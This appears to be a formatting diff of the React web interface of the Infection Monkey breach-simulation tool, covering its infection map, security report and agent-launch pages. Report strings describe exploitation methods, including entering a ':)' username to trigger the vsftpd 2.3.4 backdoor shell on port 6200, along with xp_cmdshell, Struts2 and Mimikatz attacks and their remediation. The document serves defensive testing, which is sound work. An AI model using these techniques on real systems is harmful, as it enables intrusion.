<span>Island Communication <i className="fa fa-lg fa-minus" style={{color: '#a9aaa9'}}/></span>
</div>
{ this.renderTelemetryConsole() }
{this.renderTelemetryConsole()}
<div style={{height: '80vh'}}>
<ReactiveGraph graph={this.state.graph} options={options} events={this.events}/>
</div>
@ -174,7 +174,8 @@ class MapPageComponent extends AuthComponent {
<div style={{'overflow': 'auto', 'marginBottom': '1em'}}>
<Link to="/infection/telemetry" className="btn btn-default pull-left" style={{'width': '48%'}}>Monkey
Telemetry</Link>
<button onClick={() => this.setState({showKillDialog: true})} className="btn btn-danger pull-right" style={{'width': '48%'}}>
<button onClick={() => this.setState({showKillDialog: true})} className="btn btn-danger pull-right"
style={{'width': '48%'}}>
<Icon name="stop-circle" style={{'marginRight': '0.5em'}}/>
Kill All Monkeys
</button>

View File

@ -29,15 +29,13 @@ class PassTheHashMapPageComponent extends AuthComponent {
return node['id'] === event.nodes[0];
});
this.setState({selected: displayedNode, selectedType: 'node'})
}
else if (event.edges.length === 1) {
} else if (event.edges.length === 1) {
let displayedEdge = this.state.graph.edges.find(
function (edge) {
return edge['id'] === event.edges[0];
});
this.setState({selected: displayedEdge, selectedType: 'edge'});
}
else {
} else {
this.setState({selected: null, selectedType: null});
}
}

View File

@ -147,7 +147,9 @@ class ReportPageComponent extends AuthComponent {
return (
<Fragment>
<div style={{marginBottom: '20px'}}>
<PrintReportButton onClick={() => {print();}} />
<PrintReportButton onClick={() => {
print();
}}/>
</div>
<div className="report-page">
<ReportHeader report_type={ReportTypes.security}/>
@ -155,7 +157,9 @@ class ReportPageComponent extends AuthComponent {
{content}
</div>
<div style={{marginTop: '20px'}}>
<PrintReportButton onClick={() => {print();}} />
<PrintReportButton onClick={() => {
print();
}}/>
</div>
</Fragment>
);
@ -276,7 +280,7 @@ class ReportPageComponent extends AuthComponent {
}).length} threats</span>:
<ul>
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
<li>Stolen SSH keys are used to exploit other machines.</li> : null}
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
<li>Stolen credentials are used to exploit other machines.</li> : null}
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
@ -309,15 +313,16 @@ class ReportPageComponent extends AuthComponent {
{this.state.report.overview.issues[this.Issue.STRUTS2] ?
<li>Struts2 servers are vulnerable to remote code execution. (<a
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null }
CVE-2017-5638</a>)</li> : null}
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
<li>Oracle WebLogic servers are susceptible to a remote code execution vulnerability.</li> : null }
<li>Oracle WebLogic servers are susceptible to a remote code execution vulnerability.</li> : null}
{this.state.report.overview.issues[this.Issue.HADOOP] ?
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null}
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
<li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null }
<li>Mimikatz found login credentials of a user who has admin access to a server defined as
critical.</li> : null}
{this.state.report.overview.issues[this.Issue.MSSQL] ?
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null }
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null}
</ul>
</div>
:
@ -344,7 +349,8 @@ class ReportPageComponent extends AuthComponent {
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
<li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null}
{this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ?
<li>Shared local administrator account - Different machines have the same account as a local administrator.</li> : null}
<li>Shared local administrator account - Different machines have the same account as a local
administrator.</li> : null}
{this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
<li>Multiple users have the same password</li> : null}
</ul>
@ -355,7 +361,7 @@ class ReportPageComponent extends AuthComponent {
</div>
}
</div>
{ this.state.report.overview.cross_segment_issues.length > 0 ?
{this.state.report.overview.cross_segment_issues.length > 0 ?
<div>
<h3>
Segmentation Issues
@ -380,14 +386,14 @@ class ReportPageComponent extends AuthComponent {
{/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise,
* don't render it (since the issues themselves will be empty. */}
{Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ?
<h3>Domain related recommendations</h3> : null }
<h3>Domain related recommendations</h3> : null}
<div>
{this.generateIssues(this.state.report.recommendations.domain_issues)}
</div>
{/* Checks if there are any issues. If there are more then one: render the title. Otherwise,
* don't render it (since the issues themselves will be empty. */}
{Object.keys(this.state.report.recommendations.issues).length !== 0 ?
<h3>Machine related recommendations</h3> : null }
<h3>Machine related recommendations</h3> : null}
<div>
{this.generateIssues(this.state.report.recommendations.issues)}
</div>
@ -450,7 +456,7 @@ class ReportPageComponent extends AuthComponent {
<StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/>
</div>
<div>
<StrongUsers data = {this.state.report.glance.strong_users} />
<StrongUsers data={this.state.report.glance.strong_users}/>
</div>
</div>
);
@ -463,16 +469,18 @@ class ReportPageComponent extends AuthComponent {
Credentials Map
</h3>
<p>
This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers.
This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral
movement opportunities by attackers.
</p>
<div className="map-legend">
<b>Legend: </b>
<span>Access credentials <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}}/></span> <b style={{color: '#aeaeae'}}> | </b>
<span>Access credentials <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}}/></span> <b
style={{color: '#aeaeae'}}> | </b>
</div>
<div>
<PassTheHashMapPageComponent graph={this.state.report.glance.pth_map} />
<PassTheHashMapPageComponent graph={this.state.report.glance.pth_map}/>
</div>
<br />
<br/>
</div>
);
}
@ -488,7 +496,7 @@ class ReportPageComponent extends AuthComponent {
<div>
<AttackReport reportData={this.state.report}/>
</div>
<br />
<br/>
</div>)
}
@ -664,10 +672,13 @@ class ReportPageComponent extends AuthComponent {
className="label label-danger">6200</span>.
<br/>
The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
<br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised.
Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.
<br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been
compromised.
Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command
shell on port 6200.
<br/><br/>
The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200.
The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor
at port 6200.
<br/><br/>Read more about the security issue and remediation <a
href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523"
>here</a>.
@ -781,7 +792,8 @@ class ReportPageComponent extends AuthComponent {
generateSharedLocalAdminsIssue(issue) {
return (
<li>
Make sure the right administrator accounts are managing the right machines, and that there isnt an unintentional local admin sharing.
Make sure the right administrator accounts are managing the right machines, and that there isnt an unintentional local
admin sharing.
<CollapsibleWellComponent>
Here is a list of machines which the account <span
className="label label-primary">{issue.username}</span> is defined as an administrator:
@ -856,7 +868,8 @@ class ReportPageComponent extends AuthComponent {
generateHadoopIssue(issue) {
return (
<li>
Run Hadoop in secure mode (<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
Run Hadoop in secure mode (<a
href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
add Kerberos authentication</a>).
<CollapsibleWellComponent>
The Hadoop server at <span className="label label-primary">{issue.machine}</span> (<span
@ -869,8 +882,8 @@ class ReportPageComponent extends AuthComponent {
);
}
generateMSSQLIssue(issue) {
return(
generateMSSQLIssue(issue) {
return (
<li>
Disable the xp_cmdshell option.
<CollapsibleWellComponent>

View File

@ -1,5 +1,5 @@
import React from 'react';
import { css } from '@emotion/core';
import {css} from '@emotion/core';
import {Button, Col, Well, Nav, NavItem, Collapse} from 'react-bootstrap';
import CopyToClipboard from 'react-copy-to-clipboard';
import GridLoader from 'react-spinners/GridLoader';
@ -48,7 +48,7 @@ class RunMonkeyPageComponent extends AuthComponent {
this.authFetch('/api/local-monkey')
.then(res => res.json())
.then(res =>{
.then(res => {
if (res['is_running']) {
this.setState({runningOnIslandState: 'running'});
} else {
@ -75,7 +75,7 @@ class RunMonkeyPageComponent extends AuthComponent {
fetchAwsInfo() {
return this.authFetch('/api/remote-monkey?action=list_aws')
.then(res => res.json())
.then(res =>{
.then(res => {
let is_aws = res['is_aws'];
if (is_aws) {
// On AWS!
@ -83,7 +83,12 @@ class RunMonkeyPageComponent extends AuthComponent {
let is_error_while_collecting_aws_machines = (res['error'] != null);
if (is_error_while_collecting_aws_machines) {
// There was an error. Finish loading, and display error message.
this.setState({isOnAws: true, isErrorWhileCollectingAwsMachines: true, awsMachineCollectionErrorMsg: res['error'], isLoadingAws: false});
this.setState({
isOnAws: true,
isErrorWhileCollectingAwsMachines: true,
awsMachineCollectionErrorMsg: res['error'],
isLoadingAws: false
});
} else {
// No error! Finish loading and display machines for user
this.setState({isOnAws: true, awsMachines: res['instances'], isLoadingAws: false});
@ -138,7 +143,7 @@ class RunMonkeyPageComponent extends AuthComponent {
cmdText = RunMonkeyPageComponent.generateWindowsCmd(this.state.selectedIp, is32Bit);
}
return (
<Well key={'cmdDiv'+this.state.selectedIp} className="well-sm" style={{'margin': '0.5em'}}>
<Well key={'cmdDiv' + this.state.selectedIp} className="well-sm" style={{'margin': '0.5em'}}>
<div style={{'overflow': 'auto', 'padding': '0.5em'}}>
<CopyToClipboard text={cmdText} className="pull-right btn-sm">
<Button style={{margin: '-0.5em'}} title="Copy to Clipboard">
@ -219,6 +224,7 @@ class RunMonkeyPageComponent extends AuthComponent {
});
});
};
fetchConfig() {
return this.authFetch('/api/configuration/island')
.then(res => res.json())
@ -226,6 +232,7 @@ class RunMonkeyPageComponent extends AuthComponent {
return res.configuration;
})
}
instanceIdToInstance = (instance_id) => {
let instance = this.state.awsMachines.find(
function (inst) {
@ -241,7 +248,9 @@ class RunMonkeyPageComponent extends AuthComponent {
<div style={{'marginTop': '1em', 'marginBottom': '1em'}}>
<p className="alert alert-info">
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
Not sure what this is? Not seeing your AWS EC2 instances? <a href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances" target="_blank">Read the documentation</a>!
Not sure what this is? Not seeing your AWS EC2 instances? <a
href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances"
target="_blank">Read the documentation</a>!
</p>
</div>
{
@ -250,7 +259,7 @@ class RunMonkeyPageComponent extends AuthComponent {
style={{'marginBottom': '2em'}}>
{this.state.ips.map(ip => <NavItem key={ip} eventKey={ip}>{ip}</NavItem>)}
</Nav>
: <div style={{'marginBottom': '2em'}} />
: <div style={{'marginBottom': '2em'}}/>
}
<AwsRunTable
@ -263,12 +272,13 @@ class RunMonkeyPageComponent extends AuthComponent {
className={'btn btn-default btn-md center-block'}
disabled={this.state.awsClicked}>
Run on selected machines
{ this.state.awsClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null }
{this.state.awsClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null}
</button>
</div>
</div>
)
}
render() {
return (
<Col xs={12} lg={8}>
@ -283,7 +293,7 @@ class RunMonkeyPageComponent extends AuthComponent {
disabled={this.state.runningOnIslandState !== 'not_running'}
>
Run on Monkey Island Server
{ RunMonkeyPageComponent.renderIconByState(this.state.runningOnIslandState) }
{RunMonkeyPageComponent.renderIconByState(this.state.runningOnIslandState)}
</button>
{
// TODO: implement button functionality
@ -302,7 +312,8 @@ class RunMonkeyPageComponent extends AuthComponent {
OR
</p>
<p style={this.state.showManual || !this.state.isOnAws ? {'marginBottom': '2em'} : {}}>
<button onClick={this.toggleManual} className={'btn btn-default btn-lg center-block' + (this.state.showManual ? ' active' : '')}>
<button onClick={this.toggleManual}
className={'btn btn-default btn-lg center-block' + (this.state.showManual ? ' active' : '')}>
Run on machine of your choice
</button>
</p>
@ -323,7 +334,7 @@ class RunMonkeyPageComponent extends AuthComponent {
style={{'marginBottom': '2em'}}>
{this.state.ips.map(ip => <NavItem key={ip} eventKey={ip}>{ip}</NavItem>)}
</Nav>
: <div style={{'marginBottom': '2em'}} />
: <div style={{'marginBottom': '2em'}}/>
}
<p style={{'fontSize': '1.2em'}}>
Copy the following command to your machine and run it with Administrator or root privileges.
@ -357,7 +368,8 @@ class RunMonkeyPageComponent extends AuthComponent {
{
this.state.isOnAws ?
<p style={{'marginBottom': '2em'}}>
<button onClick={this.toggleAws} className={'btn btn-default btn-lg center-block' + (this.state.showAws ? ' active' : '')}>
<button onClick={this.toggleAws}
className={'btn btn-default btn-lg center-block' + (this.state.showAws ? ' active' : '')}>
Run on AWS machine of your choice
</button>
</p>
@ -370,9 +382,12 @@ class RunMonkeyPageComponent extends AuthComponent {
<div style={{'marginTop': '1em'}}>
<p class="alert alert-danger">
<i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
Error while collecting AWS machine data. Error message: <code>{this.state.awsMachineCollectionErrorMsg}</code><br/>
Error while collecting AWS machine data. Error
message: <code>{this.state.awsMachineCollectionErrorMsg}</code><br/>
Are you sure you've set the correct role on your Island AWS machine?<br/>
Not sure what this is? <a href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances">Read the documentation</a>!
Not sure what this is? <a
href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances">Read
the documentation</a>!
</p>
</div>
:

View File

@ -29,7 +29,9 @@ class StartOverPageComponent extends AuthComponent {
return (
<Modal show={this.state.showCleanDialog} onHide={() => this.setState({showCleanDialog: false})}>
<Modal.Body>
<h2><div className="text-center">Reset environment</div></h2>
<h2>
<div className="text-center">Reset environment</div>
</h2>
<p style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
Are you sure you want to reset the environment?
</p>
@ -40,7 +42,7 @@ class StartOverPageComponent extends AuthComponent {
Some monkeys are still running. It's advised to kill all monkeys before resetting.
</div>
:
<div />
<div/>
}
<div className="text-center">
<button type="button" className="btn btn-danger btn-lg" style={{margin: '5px'}}
@ -75,7 +77,8 @@ class StartOverPageComponent extends AuthComponent {
<button className="btn btn-danger btn-lg center-block"
onClick={() => {
this.setState({showCleanDialog: true});
this.updateMonkeysRunning();}
this.updateMonkeysRunning();
}
}>
Reset the Environment
</button>
@ -86,7 +89,7 @@ class StartOverPageComponent extends AuthComponent {
You can continue and <Link to="/run-monkey">Run More Monkeys</Link> as you wish,
and see the results on the <Link to="/infection/map">Infection Map</Link> without deleting anything.
</div>
{ this.state.cleaned ?
{this.state.cleaned ?
<div className="alert alert-success">
<i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>
Environment was reset successfully

Some files were not shown because too many files have changed in this diff Show More